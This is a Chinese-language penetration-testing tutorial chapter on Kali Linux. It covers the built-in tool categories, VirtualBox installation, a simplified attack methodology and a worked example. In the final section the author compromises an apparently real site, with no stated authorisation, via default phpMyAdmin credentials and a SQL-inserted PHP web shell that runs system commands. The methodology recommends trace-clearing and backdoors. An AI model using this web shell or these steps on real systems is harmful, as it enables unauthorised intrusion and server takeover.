Kali Linux滲透測試實戰 第一章

wyzsk發表於2020-08-19
作者: 玄魂 · 2013/12/26 16:23

作者部落格:http://www.xuanhun521.com/

1.1 Kali Linux簡介


如果您之前使用過或者瞭解BackTrack系列Linux的話,那麼我只需要簡單的說,Kali是BackTrack的升級換代產品,從Kali開始,BackTrack將成為歷史。

如果您沒接觸過BackTrack也沒關係,我們從頭開始瞭解Kali Linux。

按照官方網站的定義,Kali Linux是一個高階滲透測試和安全審計Linux發行版。作為使用者,我簡單的把它理解為,一個特殊的Linux發行版,整合了精心挑選的滲透測試和安全審計的工具,供滲透測試和安全設計人員使用。也可稱之為平臺或者框架。

17182302-122acb302af04b68a31ad036c8fe08d

Kali Linux

作為Linux發行版,Kali Linux是在BackTrack Linux的基礎上,遵循Debian開發標準,進行了完全重建。並且設計成單使用者登入,root許可權,預設禁用網路服務。

關於系統特性,定製,在不同裝置上的安裝,請在Kali Linux官網上查閱,http://www.kali.org/。官網上還有一份中文版的說明文件,但是我總覺得要麼是自動翻譯的,要麼是外國人自行翻譯的,讀起來非常不通順,但是仍然可作為參考,見http://cn.docs.kali.org/

17182311-298d1ffa0c8a4c32ac4016dbc1b9b9c

中文文件

因為本書的核心內容是滲透測試,Kali Linux只是平臺,更多的關於系統本身的內容不會詳細介紹。下面我們來看看Kali自帶的工具集,介紹完這些工具,相信你也就瞭解了Kali Linux的功能。

17182319-948f1b9e822041a8b9c77a63f508852

上圖是安裝完Kali Linux(在下一節,會簡單介紹虛擬機器下Kali Linux的安裝和配置)系統自帶的工具集。最頂層是十佳安全工具,這些工具都被包含在下面的工具分類中。

Kali Linux將所帶的工具集劃分為十四個大類,這些大類中,很多工具是重複出現的,因為這些工具同時具有多種功能,比如nmap既能作為資訊蒐集工具也能作為漏洞探測工具。其中大部分工具的使用,都會在之後的章節中做介紹和例項演示。另外,這裡介紹的工具都是系統預設推薦的工具,我們也可以自行新增新的工具源,豐富工具集。根據筆者的經驗,絕大多數情況下,系統推薦的工具已經足夠使用了。一些專用工具,會在特定的測試場景下被引入,在後續章節中會詳細說明。

資訊蒐集

資訊蒐集工具集又分為DNS分析、IDS/IPS識別、SMB分析、SMTP分析、SNMP分析、SSL分析、VoIP分析、VPN分析、存活主機識別、電話分析、服務指紋識別、流浪分析、路由分析、情報分析、系統指紋識別共15個小分類。

17182326-305eb706f27a44e5b5f20a258da853f

資訊蒐集工具分類

DNS分析包含dnsdict6、dnsenum等12個工具,如下圖。

17182335-27a4fe3be1ab40f49141eee50d836a7

Dns分析工具

IDS/IPS識別包含fragrout、fragrouter、ftest、lbd、wafwOOf四個工具。

17182343-09f9bb79480c4188a230273dce2e2bc

IDS/IPS識別工具

擴充套件---|||||IDS/IPS

IDS(intrusion detection system),即入侵檢測系統。是一種對網路傳輸進行即時監視,在發現可疑傳輸時發出警報或者採取主動反應措施的網路安全裝置。它與其他網路安全裝置的不同之處便在於,IDS是一種積極主動的安全防護技術。

IPS(Intrusion Prevention System)即入侵防禦系統。IPS位於防火牆和網路的裝置之間。這樣,如果檢測到攻擊,IPS會在這種攻擊擴散到網路的其它地方之前阻止這個惡意的通訊。

二者的區別:

入侵檢測系統注重的是網路安全狀況的監管。入侵防禦系統關注的是對入侵行為的控制。

入侵檢測系統需要部署在網路內部的中心點,需要能夠觀察到所有網路資料。入侵防禦系統需要部署在網路的邊界。

入侵檢測系統的核心價值在於透過對全網資訊的分析,瞭解資訊系統的安全狀況,進而指導資訊系統安全建設目標以及安全策略的確立和調整,而入侵防禦系統的核心價值在於安全策略的實施—對駭客行為的阻擊;入侵檢測系統需要部署在網路內部,監控範圍可以覆蓋整個子網,包括來自外部的資料以及內部終端之間傳輸的資料,入侵防禦系統則必須部署在網路邊界,抵禦來自外部的入侵,對內部攻擊行為無能為力。

參考:http://security.zdnet.com.cn/security_zone/2009/0412/1362627.shtml

smb分析包含如下工具:

17182358-0c158eede8be448aae715ae0228184c

擴充套件---|||||smb協議

MB簡介SMB是Server Message Block的簡寫,這個協議用於共享檔案,共享印表機,共享串列埠等用途。我們之所以能夠在windows的網路鄰居下訪問一個域內的其他機器,就是透過這個協議實現的。SMB 協議是一個很重要的協議,目前絕大多數的PC上都在執行這一協議,windows系統都充當著SMB協議的客戶端和伺服器,所以SMB是一個遵循客戶機服/務器模式的協議。SMB伺服器負責透過網路提供可用的共享資源給SMB客戶機,伺服器和客戶機之間透過TCP/IP協議、或者IPX協議、或者是 NetBEUI進行連線。

參考:http://msdn.microsoft.com/en-us/library/cc246231.aspx

smtp分析包含如下工具:

17182405-fb2d7ce5f2ed4dd6bea7852c05dcf50

smtp分析工具

snmp分析報告如下工具:

17182411-66bdd56b75bc4aa288a58a95dd7bea2

SSL分析包含如下工具:

17182418-447542044268453fb123a5efc0f65c4

VoIP分析包含如下工具:

17182425-13e624b9a5384b43a90e016c0bf5744

擴充套件—VoIP簡介

VoIP是 Voice over Internet Protocol的縮寫,指的是將模擬的聲音訊號經過壓縮與封包之後,以資料封包的形式在IP 網路的環境進行語音訊號的傳輸,通俗來說也就是網際網路電話、網路電話或者簡稱IP電話的意思。

參考資料:https://www.cisco.com/application/pdf/en/us/guest/tech/tk587/c1506/ccmigration_09186a008012dd36.pdf

VPN分析只包含一個工具:ike-scan

17182432-8dde89272a724cc796deedca9c8f368

存活主機識別包含的工具:

17182442-81ee437b09794d1f98f4c1700001cf8

伺服器指紋識別包含如下工具:

17182451-8b10c8027fca4e69b9559415e083119

流量分析包含如下工具:

17182500-917117facd364ab2b3070bc0bd8aede

路由分析包含如下工具:

17182520-a0024e770f304a98916c093b7b9d339

情報分析包含如下工具:

17182528-389fa3e7a6744dccb8bbe9f92c09464

網路包含如下工具:

17182543-f4e53eb4819c454299d52456a7dea47

系統指紋識別包含如下工具:

17182553-38c006720ac949c19b7bf486c045432

擴充套件—指紋識別:

在實際的生產環境中,應用程式返回的軟體、伺服器、作業系統的相關資訊,很有可能是偽裝過的。比如請求一臺apathe伺服器,如果它在http響應中返回的是IIS 6.0的資訊,如果我們簡單的認為它是iis伺服器,並以此為依據繼續接下來的滲透工作,豈不是南轅北轍?指紋識別技術應運而生,向測試對方傳送特殊的請求,根據響應內容的不同來做出正確的識別,這種技術稱之為指紋識別技術。常用的作業系統指紋識別技術為IP協議棧。

連結http://nmap.org/book/osdetect-fingerprint-format.html是Nmap作業系統指紋識別的基本原理

漏洞分析

17182604-0313b47d774440379d5ef0b18d64202

漏洞分析工具集

漏洞分析工具集,共分為6個小類,分別為Cisco工具集、Fuzzing工具集、OpenVAS、開源評估軟體、掃描工具集、資料庫評估軟體。

Cisco工具集包含如下工具:

17182613-9bd70165995b40fab3472588fcf3d7e

Fuzzing工具集下包含如下工具:

17182621-8564ddccd0e8418cb3c42a377a37fd9

擴充套件—Fuzzing

模糊測試 (fuzz testing, fuzzing)是一種軟體測試技術。其核心思想是自動或半自動的生成隨機資料輸入到一個程式中,並監視程式異常,如崩潰,斷言(assertion)失敗,以發現可能的程式錯誤,比如記憶體洩漏。模糊測試常常用於檢測軟體或計算機系統的安全漏洞。

模糊測試工具主要分為兩類,變異測試(mutation-based)以及生成測試(generation-based)。模糊測試可以被用作白盒,灰盒或黑盒測試。3檔案格式與網路協議是最常見的測試目標,但任何程式輸入都可以作為測試物件。常見的輸入有環境變數,滑鼠和鍵盤事件以及API呼叫序列。甚至一些通常不被考慮成輸入的物件也可以被測試,比如資料庫中的資料或共享記憶體。

參考:https://www.owasp.org/index.php/Fuzzing

OpenVAS 包含如下工具:

17182630-50fb6d30e73c4f328011142a1c59cc0

擴充套件—OpenVAS

OpenVAS是一款開放式的漏洞評估工具,主要用來檢測目標網路或主機的安全性。與安全焦點的X-Scan工具類似,OpenVAS系統也採用了Nessus較早版本的一些開放外掛。OpenVAS能夠基於C/S(客戶端/伺服器),B/S(瀏覽器/伺服器)架構進行工作,管理員透過瀏覽器或者專用客戶端程式來下達掃描任務,伺服器端負載授權,執行掃描操作並提供掃描結果。

參考:http://www.openvas.org/

開源評估軟體包含如下工具:

17182642-686f7ec5b3ef4b0790d41c754a3d935

掃描工具集包含如下工具:

17182650-fe9dfb882e2b4834b36b47abe35ce96

資料庫評估軟體包含如下工具:

17182658-c5db5ae7b45e4389bc55a41fdaeacc0

Web程式

Web程式下主要包含CMS識別、IDS/IPS識別、Web漏洞掃描、Web爬行、Web應用代理、Web應用漏洞挖掘、Web庫漏洞利用共7個類別。

17182714-2cff450a490e405c9dda5b855ca310e

密碼攻擊

密碼攻擊主要包括GPU工具集、Passing the Hash、離線攻擊、線上攻擊。

17182724-046c23f3069d4bcfa9ff063bd6c9415

擴充套件—Passing the Hash

Passing the Hash,中文一般翻譯為Hash傳遞攻擊。在windows系統中,系統通常不會儲存使用者登入密碼,而是儲存密碼的Hash值。在我們遠端登入系統的時候,實際上向遠端傳輸的就是密碼的Hash。當攻擊者獲取了儲存在計算機上的使用者名稱和密碼的hash值 的時候,他雖然不知道密碼值,但是仍然可以透過直接連線遠端主機,透過傳送密碼的hash值來達到登入的目的。

無線攻擊

無線攻擊包含RFID/NFC工具集、Software Defined Radio、藍芽工具集、其他無線工具、無線工具集。

17182735-34b07d4d51ac42d49308ce711f35a53

擴充套件-- Software Defined Radio

軟體無線電(Software Defined Radio,SDR)是一種實現無線通訊的新概念和體制。一開始應用在軍事領域,在21世紀初,由於眾多公司的努力,使得它已從軍事領域轉向民用領域,成為經濟的、應用廣泛的、全球通訊的第三代行動通訊系統的戰略基礎。

由於無線通訊領域存在的一些問題,如多種通訊體系並存,各種標準競爭激烈,頻率資源緊張等,特別是無線個人通訊系統的發展,使得新的系統層出不窮,產品生產週期越來越短,原有的以硬體為主的無線通訊體制難以適應這種局面,迫使軟體無線電的概念的出現。它的出現,使無線通訊的發展經歷了由固定到移動,由模擬到數字,由硬體到軟體的三次變革。

參考:http://zh.wikipedia.org/wiki/%E8%BD%AF%E4%BB%B6%E6%97%A0%E7%BA%BF%E7%94%B5

漏洞利用工具集

漏洞利用工具集,主要包含了幾個流行的框架,和其他工具。

17182749-50b8c823d7d441e49b1e3475b289d9c

BeEF XSS Framework,官方站點http://beefproject.com/。全稱Browser Exploitation Framework,它是專注於 web瀏覽器的滲透測試框架。

Metasploit,官方站點http://www.metasploit.com/。著名的滲透測試框架,是滲透測試人員的必修課。

嗅探/欺騙

嗅探、欺騙  包含VoIP、Web嗅探、網路欺騙、網路嗅探、語言監控五個工具集。

17182807-31d63185638c4f738bf06303942dc49

許可權維持

許可權維持包含Tunnel工具集、Web後門、系統後門三個子類。

17182816-77a9bc8280b04d11bba77390e18b96b

其中Tunnel工具集包含了一系列用於建立通訊隧道、代理的工具。

逆向工程

逆向工程,包含了Debug工具集、反編譯、其他逆向工具集三個子類。

17182825-7d09118d3ed24d669ec1d512dc9e4a4

壓力測試

壓力測試包含VoIP壓力測試、Web壓力測試、網路壓力測試、無線壓力測試四個子類。

17182835-055c578541614592af2d30190b85414

硬體Hacking

硬體Hacking包括Android工具集、Arduino工具集兩個子類。

17182846-bb24fd176c6a466497969f102a603ec

數字取證

數字取證工具集包含PDF取證工具集、反數字取證、密碼取證工具集、記憶體取證工具集、取證分割工具集、取證分析工具集、取證雜湊驗證工具集、取證映象工具集、防毒取證工具集、數字取證、數字取證套件。

17182853-b80f0e19069442d8bc0100ce974f981

報告工具集

報告工具集,主要用於生成、讀取、整理滲透測試報告的工具,包含Domentation、媒體捕捉、證據管理。

17182902-fe21081d76bf4e0b80813465fa9040f

系統服務

系統服務是系統上的服務程式,包括BeFF、Dradis、HTTP、Metasploit、MySQL、OpenVas、SSH。

預設情況下,網路和資料庫服務是關閉的,需要重新開啟。

17182911-5f0ba299e3d0418a9138e6c019a65f9

小結

上面對Kali Linux的預設工具集進行的了大致的瀏覽,由於本書只關注於滲透測試,對逆向工程、壓力測試、硬體Hacking、數字取證這些工具不會涉及。

下一節介紹虛擬機器下的系統安裝和簡單配置。

1.2 環境安裝及初始化


在1.1節,我們大致瞭解了Kali Linux的內建工具集,本節主要介紹虛擬機器下的系統安裝。

如果您需要定製或者採用其他方式安裝系統,請參考官方文件,http://cn.docs.kali.org/。官方文件內容大致如下圖:

17184820-80a74906de1f4673b88c538b822c39d

KaliLinux官方文件(1)

17184826-1cc637e8547b48c9bc4706f34293f43

Kali Linux 官方文件(2)

1.2.1 下載映像

在地址http://www.kali.org/downloads/,我們可以看到網站提供32位和64位的ISO映像檔案。

17184835-0697c96e86e8438099cfd8b9e17d70f

下載映像檔案

根據實際情況選擇你要下載的版本,我下載的是Kali Linux 64 Bit。

1.2.2 安裝虛擬機器

相對於VMWare,個人更喜歡VirtualBox,因為VirtualBox是開源、免費,比VMWare更輕量。

首先到https://www.virtualbox.org/wiki/Downloads下載VirtualBox。我選擇的是VirtualBox 4.3.4 for Windows hosts。

17184841-8a51452fd0924622b3ae4b5b71587d0

安裝就很簡單了,這裡就不浪費篇幅了。

安裝完成之後,開啟VirtualBox,開始安裝Kali Linux。

1.2.3 安裝Kali Linux

開啟VirtualBox之後,單擊“新建”,開啟新建虛擬機器對話方塊。

17184848-8dbd92cb6fbe4d70847fbae8b46d5aa

新建虛擬機器

名稱隨意填寫,型別選擇Linux,版本選擇Debian或者Debian(64 bit),我安裝64位版本,所以選擇Debian(64 bit)。單擊“下一步”。

17184855-7fce46a2408a4bc1bcd7f3ecb63dfc5

配置記憶體大小

記憶體大小,根據自己機器的記憶體選擇配置就可以了,這裡採用預設值。

下一步,配置虛擬硬碟。

17184902-731ee2674bf94ad0b45a88aef54d93d

配置虛擬硬碟

選擇新建虛擬硬碟,單擊“建立”。

17184908-646666a770ef4fa8a74ce2a51e81ff6

選擇虛擬硬碟檔案型別

虛擬硬碟檔案型別,選擇VDI型別。下一步。

17184914-1e30258c9bcd4ecea7dbf7e8a5587e9

虛擬硬碟物理儲存

這裡筆者選擇固定大小。下一步,選擇檔案儲存位置,設定磁碟大小。

17184924-992f4d35232247d7a4778e19e3ae1e8

選擇檔案儲存位置

虛擬磁碟的大小,建議要大於8G,筆者使用預設的8G安裝,結果中途失敗,修改為20G後,安裝成功。開始建立。

17184933-2f10971bad834104a126aa05f656bd3

經歷一段時間等待(VirtualBox的虛擬磁碟建立速度確實不如VMWare),虛擬磁碟建立完畢。回到VirtualBox主介面,選擇我們建立的虛擬機器。單擊上方的“設定”按鈕。

17184940-486f10428b004886bd000bce80b6c1b

17184948-0e9d39fdf0a9404bace3acef1d4388d

選擇“儲存”選項卡。

17185004-804cf092a7a4437f869cbd528d1ab7f

接下來選中光碟機。

配置光碟機,載入安裝映像檔案。在分配光碟機屬性選擇“第一IDE控制器主通道”,載入下載的Kali Linux ISO檔案。

選擇“網路”選項卡,配置為橋接模式。確定。

17185013-b713a74a8ebe4b5da2672241b94015e

配置網路為橋接模式

回到主介面,啟動虛擬機器,載入ISO。

17185023-adefbd710cbc458b9f970e2c8feea19

選擇“Graphic install”,繼續。

17185034-c79bc6956d854c679333c83bec90439

選擇語言為中文簡體。

17185044-cbe22f50cc31450ebce8f3091c0fc0a

選擇區域為中國。

17185055-45f8c1624feb40c79510124b3303c07

配置鍵盤為“漢語”。

17185103-b55e519654494a86ac0489f89537f16

開始從光碟載入元件。

17185111-25a95e695726434d8d3c6506f8edf61

探測並配置網路。

17185120-980f888179de4179b972dc1764f0eac

配置主機名,根據自己的喜好配置就可以了。

17185129-0e846c785bc845bc86f2f449fa23e8b

配置域名,如果不在外網,域名隨便配置就可以了。

17185138-327f6fd0dc5b478d9cc075cb63b535b

設定Root賬戶密碼。

17185153-61a55cade88e40b692664ee279313d8

配置磁碟分割槽,這裡和接下來的步驟,為簡單起見,我們都選擇非手工方式,選擇“使用整個磁碟”。

17185201-ec9c732a1388462e8b2e9a7ac5f8649

只有一個磁碟,繼續。

17185210-c553f19c74184e6a8b279a1cbe3724b

選擇分割槽方案。

17185219-d5f242aec1b646c38eff8437d0a86e6

17185226-be5eaae68f5c4abeadea4e08a848071

確認分割槽方案。

17185234-1ba6398ba879419484dee9947a8c4b5

開始安裝系統。

17185246-d2ee4ca9b1404595998d68c6e54e6dc

映像內容安裝完成後,會提醒是否使用網路映像,如果處於聯網狀態,推薦使用,以便獲取更新的內容。

17185255-0b3db3fba7e445b2b0842bd72f698da

安裝完成後,點選繼續,結束安裝過程。虛擬機器會重啟進入Kali Linux。

1.2.4 安裝中文輸入法

在系統登入介面,選擇你設定的域,輸入使用者名稱“root”,你先前配置好的密碼,登入。

17185307-ca3f2e18d8764bfe8c6f6c43a5baf9b

系統預設是沒有中文輸入的,為使用方便,先安裝中文輸入法。

先執行apt-get update 命令

17185316-a516eb09b60c42d4893623977940cf9

接下來執行

apt-get install fcitx

17185323-5b6a3ba4ae2541d9aa5b870cf125857

安裝成功後,執行

apt-get install fcitx-googlepinyin

安裝谷歌拼音輸入法。

17185332-e311deecd0604b82ac9c2b200bc390b

重啟系統。

17185340-8d11ea073cca47df9086e449a6c87c4

在螢幕頂部可以看到輸入法配置圖示,新建一個文件,用Ctrl+Shift,可以調出輸入法。

1.2.5 安裝VirtualBox增強工具

安裝VirtualBox增強工具之後,虛擬機器和宿主機之間就可以共享目錄、共享剪貼簿了。

首先啟動Kali Linux虛擬機器後,開啟一個終端然執行如下命令來安裝Linux核心標頭檔案。

apt-get update && apt-get install -y linux-headers-$(uname -r)

17185354-266008c8bf42435c89aaebddce9d37b

在虛擬機器內部,按“鍵盤右側的Ctrl+D”,會自動載入增強工具光碟映像,提示是否要自動執行,點選取消。

17185405-680e1626df414a0c8178943181b0b19

雙擊桌面上的光碟圖示,開啟後複製VboxLinuxAdditions.run到本地目錄,例如/root/。或者在終端執行以下命令:

cp /media/cd-rom/VBoxLinuxAdditions.run /root/

17185416-ab03285ae1eb429792e04e1363fd713

接下來從終端進入檔案所在目錄,先修改檔案許可權,保證可以被執行。

chmod 755  VBoxLinuxAdditions.run

執行:

./VBoxLinuxAdditions.run

17185427-31ce1f1842cd4ce9baeef820f63dea6

關閉虛擬機器。

1.2.6 配置共享目錄和剪貼簿

在virtualBox中選中虛擬機器,點選“設定”,選擇“共享資料夾”。

17185436-6a7fcba56cd140959519d90011df029

新增一個本地目錄。

17185444-3b752eddb007447a8809d408f92ff2a

然後切換到“常規”,選擇“高階”選項卡,配置剪貼簿共享。

17185454-53cec11394b44a5ba1df39eeb2a9364

啟動虛擬機器。正常情況下,系統啟動會自動掛載共享資料夾,在/media/目錄下。

17185502-bcc1f49fde064087b78a1def6f9ff20

1.2.7 執行 Metasploit Framework

按照官方文件的說法,“依照Kali Linux網路服務策略,Kali沒有自動啟動的網路服務,包括資料庫服務在內。所以為了讓Metasploit以支援資料庫的方式執行有些必要的步驟”。下面我們按照官方文件的說明,按部就班的操作一下。

啟動Kali的PostgreSQL服務

執行命令:

service postgresql start

17185514-c178fecba90d4ba5be04b9242fb0249

使用

ss –ant

檢查PostgreSQL的執行狀態。

17185526-a6ad3594529e41859f2b558d1ab2a8c

如圖,5432埠處於監聽狀態。

啟動Kali的Metasploit服務

執行命令啟動Metasploit服務:

service metasploit start

17185535-12dba843ce8d43c2b78750e61a74b88

在Kali執行msfconsole

在終端執行msfconsole,啟動Metasploit客戶端。

17185721-f8d806d23cb849fdad3f1df9e1117a6

然後在msf終端內,輸入db_status,檢視資料庫狀態。

17185737-770b98f6df5d4bb8bb3d41fa3f69dcd

小結


本節的內容主要是安裝和基礎配置,未涉及具體的工具級別的內容。目前環境準備完畢,是不是萬事具備只欠東風了呢?

在講解具體操作之前,我還是想先講一講有關滲透測試的方法論有關內容。由於本書的核心是實際操作,所以方法論的內容相對於相關書籍會極其簡單,只是一個簡單流程化的梳理。

1.3 滲透測試的一般化流程


凡事預則立,不預則廢,做任何事情都要有一個預先的計劃。滲透測試作為測試學科的一個分支,早已形成了完整的方法論。在正式開始本書的實踐教學章節之前,我也想談一談使用Kali Linux的基本方法。這裡討論方法論的目的有兩個:

第一,在第一節裡,我們看到Kali Linux整合了這麼多工具,而且更令人欣喜的是已經對這些工具進行了專業的分類。這些工具的使用場景和使用階段是什麼樣的呢?把工具拿來胡亂一頓掃描是不會有什麼結果的。

第二,本書的章節規劃,也需要一個規範,這個規範是我從滲透測試方法論中學來的,並進行了簡化,稱之為“滲透測試的一般化流程”。

當然本節內容不會長篇大論,也不適用於企業內部的專業的滲透測試團隊來遵循。只是希望給初學滲透測試的同學一個入門的指引,有章可循,有法可依。只是學習本書的基本練習流程,不是標準的測試流程。

下面這這張圖是《backtrack4 利用滲透測試保證系統安全》一書的Backtrack方法論。

17190331-34037156945745bda7c1466544de6e0

它將滲透測試分成了十個步驟,其中第6步“社會工程學”為可選步驟,但是筆者認為社會工程學在滲透測試的任何一個流程中都有用武之地,它是安全測試的一個方法,不應該成為一個單獨的流程。

在本書中,我們將整個過程劃分為5個步驟。

1.3.1 資訊蒐集

在練習過程中,選擇目標的過程,讀者自行完成。在講解具體漏洞攻擊的章節中,還會講解一些如何快速查詢特定目標的方法。本書假定讀者已經準備好了測試目標才閱讀和實踐書中內容,所以流程的第一步為資訊蒐集。

在這一步中,我們儘可能的使用多種資訊蒐集工具,包括搜尋引擎和社會工程學方法。對能收集到的資訊,來者不拒。

只有建立在足夠資訊分析的基礎上,滲透測試才能遊刃有餘。因為資訊越多,發現漏洞的機率越大。

同時對不同應用的資訊收集的側重點也不同。比如web應用和桌面應用,對於web應用,伺服器作業系統、web伺服器型別、web後臺語言會被首先關注;而對於桌面應用,更多的是關心應用程式本身。

1.3.2 發現漏洞

在蒐集了足夠的資訊之後,首先我們要判斷它會存在哪些漏洞。這可以透過搜尋引擎,和通用的漏洞掃描工具來完成。通常使用搜尋引擎是明智的選擇,比如我們在第一步中知道對方站點的編寫語言為php 5.3.*,可以在google搜尋“php 5.3”漏洞。

17190339-26ce9e46f8364eee9b3757b0de43b8d

很多專業的bug站點的資訊,更值得我們駐足。這樣我們就可以針對性的進行漏洞掃描。此時使用專門的漏洞掃描工具比通用工具來得更實際和高效。

1.3.3 攻擊

基本上,你能得到的漏洞,都可以找到對應的攻擊方法。Kali Linux中也提供了很多現成的工具,來幫助我們順利的攻擊目標。

這一步包含兩個方面,一個是利用現有漏洞利用,一個是提權。二者有時候是一回事,比如許可權漏洞。

滲透測試和以破壞為目的的駭客行為還是有區別的,測試的目的是證明漏洞的存在,而不是搞破壞。所以有時候攻擊成功之後可能測試任務就結束了,當然這和測試目標是緊密相關的。

攻擊還包含一個重要的內容,就是如何隱藏攻擊行為或者清除攻擊痕跡。讓對方無法或者說很難透過反追蹤技術查詢到攻擊者。

1.3.4 許可權維持

許可權維持階段,是我們成功攻破一個系統後,如何繼續保持對系統的控制許可權的問題。

一般會建立高許可權的隱藏賬戶,或者安裝後門程式(包括木馬,病毒)。

1.3.5 文件化

文件化不是本書的強制流程,但是筆者強烈建議我們對每次滲透測試的過程和結果進行文件化處理。這樣會形成知識的積累。當然如果你是專業的滲透測試工程師或者手上有滲透測試的專案,那麼標準化文件是必不可少的。

小結

本節所講解的流程不是標準的滲透測試流程,是本書的教學實踐簡化流程,讀者要區別對待。

下一節,是本章的最後一節,以一個小例子來體驗Kali Linux的滲透測試,來提升大家的興趣。

1.4 小試牛刀


本節作為第一章的最後一節,給大家展示一個滲透測試的簡單示例。該示例操作簡單,環境真實,主要是為了給您一個整體上的感知,同時提升學習滲透測試的興趣。滲透測試的每一步並沒有記錄完整的細節資訊。

首先,我選擇了一個測試站點,下面對該站點www.xxxxoooo.cn,下面對其進行滲透測試。

1.4.1 資訊蒐集

whois查詢

因為是cn域名,直接到http://ewhois.cnnic.net.cn查詢,更方便。

結果如下:

20181443-ee3d50c208fd40d9a3e4d80a8535443

服務指紋識別

很多個人站點,都沒有自定義錯誤資訊的習慣。在url上隨便輸入一個不存在的地址,看是否會返回有用的資訊。

20181450-5716bced42ee40e0b06a096c583ac2d

透過上圖,我們知道該站點的應用程式由php編寫,web伺服器為Apathe/2.2.22,作業系統為Ubuntu。

下面我們透過指紋識別工具,進行識別。

在終端啟動nmap,輸入如下命令:

nmap -A -T4 www.xxxxoooo.cn

20181456-f6194206e0434daf9c3301c47199996

如圖,識別出來的服務和系統資訊與報錯資訊一致。

埠掃描

在終端執行如下命令,使用nmap的tcp半開掃描方式來掃描開啟的埠。

nmap -sS <targetiste>

20181503-ae3905c582194f8d8fcc02a9b8a75b8

綜合性掃描

該站點是需要登入的,所以在非登入情況下,常規掃描一般情況下意義不大。但是做一個基本的站點掃描還是必須的。當然很多工具是支援登入掃描的。

因為是web應用,一般情況下,我們是需要進行完整的web應用的漏洞掃描的。本例項忽略此步驟。

1.4.2 發現漏洞

對於web應用,我們通常從作業系統、服務、應用本身三個方面來挖掘漏洞。

從站點應用上分析,一般的php程式會安裝phpmyadmin元件,用來管理資料庫。google一下,我們就會知道phpmyadmin 預設安裝在站點根目錄下。測試一下當前站點是否也在預設目錄下安裝了phpmyadmin呢?

20181509-e1a9ca8bf4814d5086b7283f8d0266a

ok,確實存在phpmyadmin。

繼續google “phpmyadmin 預設使用者名稱密碼”。Googele之後,我們知道:“phpMyAdmin預設使用的是MySQL的帳戶和密碼”。MySql的預設賬戶是root,預設密碼是空,但是phpmyadmin是不允許空密碼的。

繼續 Google“inurl: phpmyadmin”,可以看到很多關於phpmyadmin的文章。

20181517-35921403f19048f7ae4defdf889e25a

20181526-1449e8a568064e3fbe9a8c251f52071

這些文章略過,google“hack phpmyadmin”,看看有什麼發現?

在這篇文章《Hacking PHPMyadmin (when import.php deleted)》(https://www.facebook.com/learnadvhacking/posts/556247631077238)中,我注意到

20181536-9ffda7ad1aaa4b34ab34ff34ede222d

很多站點都配置預設密碼為root。是不是也可以嘗試下呢?

輸入使用者名稱root,密碼root,奇蹟就這麼出現了,直接登入管理後臺。20181543-656f44b72bc44514a5eedbcbddccf45

進入後臺之後,我們得到了更為詳盡的資訊,為我們下一步攻擊打下了基礎

1.4.3 攻擊與許可權維持

上面的步驟,我們完成了對網站資料庫的攻擊,其實拿到了網站資料庫,就是拿到了整個網站的控制權。

如何利用phpmyadmin進行提權,從而得到伺服器的控制權呢?

目前在phpmyadmin後臺,我們可以操作表,向表中寫資料,如果資料庫有許可權dump資料到web站點所在的資料夾,那麼可以先將一個網馬寫到資料庫再儲存到磁碟本地,再從瀏覽器訪問網馬,是不是就可以了呢?

首先在phpmyadmin後臺找到一個資料庫,在“SQL”選項卡執行sql語句建立一個表“hacker”。

20181626-57c55b846c11467fa5b8fd1425eee41

語句執行成功後,再插入一條資料,程式碼很簡單,希望能用php的system函式執行系統指令。

INSERT INTO hacker (packet)

VALUES(
'<pre><body bgcolor=silver><? @system($_GET["cmd"]); ?></body></pre>'  
); 

20181634-8b3a0db49bbc4586b46feea26b00726

下一步就是儲存插入的記錄到站點目錄下,但是站點的物理路徑是什麼呢?我在觀察頁面請求連結的時候,發現一個404連結。

20181642-107d3b9ff1c34775a295404118ffb92

404連結的路徑是http://www.xxxxx.cn/var/www/productions/22_production.zip。這個是進行網站開發時候常犯的靜態連結的錯誤,那是不是說網站的根目錄在”/var/www”下呢,我把去掉”/var/www”,檔案可以被正常訪問。其實這也是ubuntu預設的站點目錄。接下來就試試有沒有許可權儲存檔案了。

經過一番查詢,終於找到一個有寫許可權的目錄,將網馬寫到web目錄中,得到了webshell,接下來就不用詳解了吧。

小結

這個簡單的小例子,只是想告訴大家,滲透測試有什麼並沒有那麼困難。也沒有哪種方法,哪個工具或者平臺是萬能的,最重要的是你自己的努力和思考。

從下一節開始,我們正式進入滲透測試的學習之旅。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章